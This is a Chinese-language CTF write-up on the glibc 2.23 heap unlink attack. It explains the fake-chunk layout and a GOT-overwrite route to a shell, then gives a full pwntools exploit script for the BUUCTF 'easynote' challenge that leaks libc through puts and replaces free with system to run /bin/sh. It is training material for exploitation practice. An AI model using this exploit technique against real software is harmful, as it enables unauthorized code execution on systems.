前言

unlink学习地址

https://www.yuque.com/hxfqg9/bin/ape5up#G0M19

how2heap unsafe_unlink

还有bilibili视频星盟安全

https://www.bilibili.com/video/BV1Uv411j7fr?p=20&vd_source=a85daf8eb54f32264d9f6976d087fe98

这两个讲的unlink挺好的,尤其是第一个how2heap跟着调试一遍程序就完全理解了

unlink 思路

在此不会详细讲解unlink的原理,写博客的目的是为了我以后回过头来看能快速理解

我们malloc两块内存,第一块内存大小限制比较少,第二块申请的内存大小必须大于等于0x80(保证不落于fastbin)

edit第一块内存和第二块内存的头部(通过溢出),内存布局是这样的

下面的chunkptr指的是存储了下面chunk地址的全局变量

一般来说题目中会有将malloc的内存地址放在一个全局变量数组里当做页码,这时候就满足这个要求了

0000000000000000                 0000000000000041 (size)
0000000000000000 0000000000000030(size-0x10)
chunkptr-0x18(fd) chunkptr-0x10(bk)
padding··· pading···
···
···
(物理相邻的下一个chunk)
0000000000000030(size-0x10) 0000000000000090 (第二块堆的size,要求末位必须为0)
··· ···
···

之后free掉第二个堆,这样操作系统就会以为第一个堆是已经释放掉的,接下来将会合并两个堆块,合并之后,由于双向链表的一些操作,就会让chunkptr中存储chunkptr-0x18。

之后我们编辑第一个堆块,就相当于往chunkptr-0x18的地方写东西,我们可以覆盖掉chunkptr甚至覆盖掉其他堆块的指针,实现任意地址写。

一种get shell的方式是,通过got表的修改,往某一个chunkptr+x上写入free_got,之后edit这个第x-1个堆块,就可以将free_got写入puts_plt。之后往另一个chunkptr+y上写入puts_got(任意已经执行过的函数的got),之后free掉第y-1个堆块,这样我们就得到了puts_got的地址,之后就可以拿到libc的地址,从而得到system的地址。再修改free_got为system的地址,往另一个堆块上写入“/bin/sh\x00”,free掉这个堆块,即可get shell。

题目限制条件

  1. 第二块malloc_size必须大于等于0x80
  2. 第一块内存指针必须能在全局变量中存储
  3. 能够通过某种方法编辑第二块内存的头部
  4. glibc版本为2.23

题目及exp

题目是buuctf上的 DASCTF 2023六月挑战赛|二进制专项 题目 名字为easynote。

https://buuoj.cn/match/matches/185/challenges

非常典型的unlink漏洞,PIE也没有开启,贴出我自己的exp,思路与上面的思路完全一致

from pwn import *
p=process('./pwn')
#p=remote("node5.buuoj.cn",27959)
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context(log_level = 'debug')
def create(size,content):
p.sendlineafter("5. exit","1")
p.sendlineafter("The length of your content --->",size)
p.sendafter("Content --->",content)
def edit(index,length,content):
p.sendlineafter("5. exit","2")
p.sendafter("Index --->",index)
p.sendlineafter("The length of your content --->",length)
p.sendafter("Content --->",content)
def delete(index):
p.sendlineafter("5. exit","3")
p.sendafter("Index --->",index)
def show(index):
p.sendlineafter("5. exit","4")
p.sendafter("Index --->",index)
#应当注意,写内容的时候要sendafter而不是sendlineafter,否则会多出一个\n

chunk_ptr=0x6020c0

create("64","1")
create("128","1")
create("128","1")
create("128","1")
create("128","1")
#随便多申请了几个
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
atoi_got=elf.got['atoi']
free_got=elf.got['free']
print(hex(puts_plt))
print(hex(puts_got))
print(hex(atoi_got))
fake_fd=chunk_ptr-0x18
fake_bk=chunk_ptr-0x10
payload=p64(0)+p64(0x40)+p64(fake_fd)+p64(fake_bk)+b'a'*(64-32)+p64(0x40)+p64(0x90)

edit("0","160",payload)#伪造fake_chunk
delete("1")#unlink
#unlink success
payload1=""
payload1=b'a'*0x18+p64(puts_got)+p64(atoi_got)+p64(free_got)
edit("0","160",payload1)
edit("2","160",p64(puts_plt))
delete("0") #leak puts_addr
t=p.recv(1) #接收一个回车字符
r=p.recv(6)
puts_addr=u64(r.ljust(8,b'\x00'))
libc_addr=puts_addr-libc.sym['puts']
#print("libc_addr:",hex(libc_addr))
#print("r:",r)
#print("puts_addr:",hex(puts_addr))
#print("sym_puts:",hex(libc.sym['puts']))
#print("libc_addr:",hex(libc_addr))
system_addr=libc_addr+libc.sym['system']
edit("2","160",p64(system_addr))
payload2='/bin/sh\x00'
edit("3","160",payload2)
delete("3")
p.interactive()